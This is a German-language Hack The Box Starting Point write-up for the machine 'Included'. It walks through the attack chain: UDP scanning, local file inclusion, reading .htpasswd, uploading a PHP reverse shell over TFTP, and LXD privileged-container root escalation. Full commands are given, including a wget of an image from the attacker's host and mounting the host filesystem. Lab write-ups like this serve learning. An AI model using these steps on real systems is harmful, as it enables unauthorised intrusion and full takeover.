Included | HTB Starting Point Writeup T2M05
In diesem Writeup geht es um die Starting Point Maschine "Included" auf Hack The Box.
Wie immer, dass passende Video zum Beitrag hier: https://youtu.be/DoqppyDZ2Kk
- Welcher Dienst wird auf dem Zielrechner über UDP ausgeführt?
tftp
Um das herauszufinden starten wir einen nmap
Scan mit dem Switch -sU
für einen UDP Scan. Außerdem geben wir -sV
mit an, um den Dienstnamen zu erkennen.
sudo nmap -sU -sV <ip>
Ein kompletter UDP Scan dauert mit Nmap relativ lange.
- Für welche Art von Sicherheitslücke ist die Webseite, die an Port 80 gehostet wird, anfällig?
Local File Inclusion
An der URL fällt uns auf, dass am ende eine entsprechende Datei angegeben wird.
Hierbei handelt es sich um die Sicherheitslücke Local File Inclusion (LFI). LFI ist eine Lücke die es ermöglicht, Dateien auf dem Zielsystem anzusehen.
- Welches ist der Standard-Systemordner, den TFTP zum Speichern von Dateien verwendet?
/var/lib/tftpboot/
Die Antwort auf die Frage erhalten wir durch Googlen.
- Welche interessante Datei befindet sich im Webserver-Ordner und kann für Lateral Movement verwendet werden?
.htpasswd
Wir können überprüfen ob die Datei .htpasswd
existiert. Wenn ja, erhalten wir hier ggf. ein User und Passwort, welches ggf. wiederverwendet wird. Mehr Infos hier
- Welcher Gruppe gehört der Benutzer Mike an und kann für Privilege Escalation ausgenutzt werden?
lxd
Um das in Erfahrung zu bringen, brauchen wir eine Session auf dem Zielsystem. Dafür laden wir eine PHP-Reverse-Shell hoch über den uns bekannten tftp Dienst.
- Als erstes Kopieren wir uns ein Exemplar der Reverse-Shell um anpassungen daran vorzunehmen.
cp /usr/share/webshells/php/php-reverse-shell.php ~
- Nun passen wir den Port und die IP-Adresse an.
- Jetzt laden wir die Shell per
tftp
hoch.
- Listener starten
- Reverse-Shell ausführen.
- Terminal aufwerten
SHELL=/bin/bash script -q /dev/null
Nun können wir versuchen uns mit dem herausgefunden Password als User mike
anzumelden.
Wenn wir jetzt id
eingeben sehen wir, dass Mike in der Gruppe lxd
ist.
Nach kurzer Recherche finden wir einen Privilege Escalation weg für lxd container hier.
- Wenn wir ein Image verwenden, um ein System über Container auszunutzen, suchen wir nach einer sehr kleinen Distribution. Unser Favorit für diese Aufgabe ist nach Bergen benannt. Wie lautet der Name dieser Distribution?
alpine
Die Antwort finden wir in unserem gefunden Weg zur Privilege Escalation.
- Welches Flag setzen wir in den Container, damit er Root-Rechte auf dem Host-System hat?
security.privileged=true
Auch diese Antwort steht in unserem gefunden Weg.
- Wenn das Root-Dateisystem im Container unter /mnt eingehängt ist, wo kann die Root-Flag auf dem Container gefunden werden, nachdem das Hostsystem eingehängt wurde?
/mnt/root/
Dafür führen wir nun zuerst die Privilege Escalation durch. Leider hat das Zielsystem keinen Zugriff auf das Internet, weshalb wir die Offline Variante von Hacktrickz durchführen müssen. Bedeutet, wir erstellen auf unserem Angreifer System ein Image und laden dieses dann auf das Zielsystem herunter.
Folgende Befehle müssen auf dem Angreifer System ausgeführt werden
#Image auf dem Angreifer System erstellen
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
Nun starten wir einen Python http Server um das Image zu übertragen
python -m http.server
Und Laden das Image auf dem Zielsystem herunter (dafür müssen wir im home
Verzeichnis des Users Mike sein!).
Folgende Befehle müssen auf dem Zielsystem ausgeführt werden
wget 10.10.14.18:8000/alpine-v3.8-i686-20240716_0958.tar.gz
Als nächstes importieren wir das Image
lxc image import ./alpine-v3.8-i686-20240716_0958.tar.gz --alias myimage
Mit dem folgenden Befehl konfigurieren wir ein default storage pool
lxd init
Jetzt starten wir das image
# run the image
lxc init myimage mycontainer -c security.privileged=true
Nun müssen wir noch die root Partition in den Container mounten
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
Abschließend starten wir den Container und interagieren mit ihm
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
das root Verzeichnis des System befindet sich in dem Container unter /mnt/root/
Flags
User Flag:
Die User flag befindet sich im home
Verzeichnis von dem User mike
Root Flag:
Die Root Flag finden wir im Container unter /mnt/root/root/